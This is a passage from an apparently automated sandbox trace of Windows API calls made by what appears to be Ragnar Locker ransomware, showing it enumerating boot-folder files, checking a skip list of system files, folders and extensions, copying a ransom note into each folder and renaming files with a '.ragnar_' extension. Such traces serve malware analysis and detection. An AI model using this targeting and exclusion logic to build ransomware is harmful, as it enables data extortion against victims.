lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.439] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\nb-NO\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.439] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.439] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\nb-NO\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.439] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.439] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.439] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.439] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2=".") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="..") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Windows") returned -1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Windows.old") returned -1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Tor browser") returned -1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Internet Explorer") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Google") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Opera") returned -1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Opera Software") returned -1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Mozilla") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="Mozilla Firefox") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="$Recycle.Bin") returned 1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="ProgramData") returned -1 [0047.440] lstrcmpiW (lpString1="nl-NL", lpString2="All Users") returned 1 [0047.440] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.440] lstrcpyW (in: lpString1=0x1ed660, lpString2="nl-NL" | out: lpString1="nl-NL") returned="nl-NL" [0047.440] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL\\") returned="\\\\?\\C:\\Boot\\nl-NL\\" [0047.440] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\nl-NL\\" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL\\") returned="\\\\?\\C:\\Boot\\nl-NL\\" [0047.440] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nl-NL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\nl-NL\\RGNR_FD7BD9FC.txt" [0047.440] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\nl-NL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\nl-nl\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.444] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nl-NL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL\\*.*") returned="\\\\?\\C:\\Boot\\nl-NL\\*.*" [0047.444] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\nl-NL\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.444] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.444] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.444] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.444] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.444] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.444] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.444] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.444] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.444] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.444] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.444] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.444] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.445] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.445] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.445] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e84d3a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.445] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.445] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\nl-NL\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.445] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.445] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.445] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.446] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.446] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.446] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.446] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.446] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0047.446] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.446] CloseHandle (hObject=0xffffffff) returned 0 [0047.446] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" [0047.446] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.447] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.447] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.447] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\nl-NL\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.447] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.447] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\nl-NL\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.447] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.447] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e84d3a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e84d3a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.447] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.447] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2=".") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="..") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Windows") returned -1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Windows.old") returned -1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Tor browser") returned -1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Internet Explorer") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Google") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Opera") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Opera Software") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Mozilla") returned 1 [0047.447] lstrcmpiW (lpString1="pl-PL", lpString2="Mozilla Firefox") returned 1 [0047.448] lstrcmpiW (lpString1="pl-PL", lpString2="$Recycle.Bin") returned 1 [0047.448] lstrcmpiW (lpString1="pl-PL", lpString2="ProgramData") returned -1 [0047.448] lstrcmpiW (lpString1="pl-PL", lpString2="All Users") returned 1 [0047.448] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.448] lstrcpyW (in: lpString1=0x1ed660, lpString2="pl-PL" | out: lpString1="pl-PL") returned="pl-PL" [0047.448] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL\\") returned="\\\\?\\C:\\Boot\\pl-PL\\" [0047.448] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\pl-PL\\" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL\\") returned="\\\\?\\C:\\Boot\\pl-PL\\" [0047.448] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pl-PL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\pl-PL\\RGNR_FD7BD9FC.txt" [0047.448] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\pl-PL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\pl-pl\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.451] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\pl-PL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\pl-PL\\*.*") returned="\\\\?\\C:\\Boot\\pl-PL\\*.*" [0047.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pl-PL\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.451] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.451] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.451] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.451] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.451] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.451] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.451] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.451] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.451] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.451] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.451] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.452] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.452] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e873500, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.452] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.452] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e873500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e873500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.453] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.453] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\pl-PL\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.453] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.453] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.453] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.453] 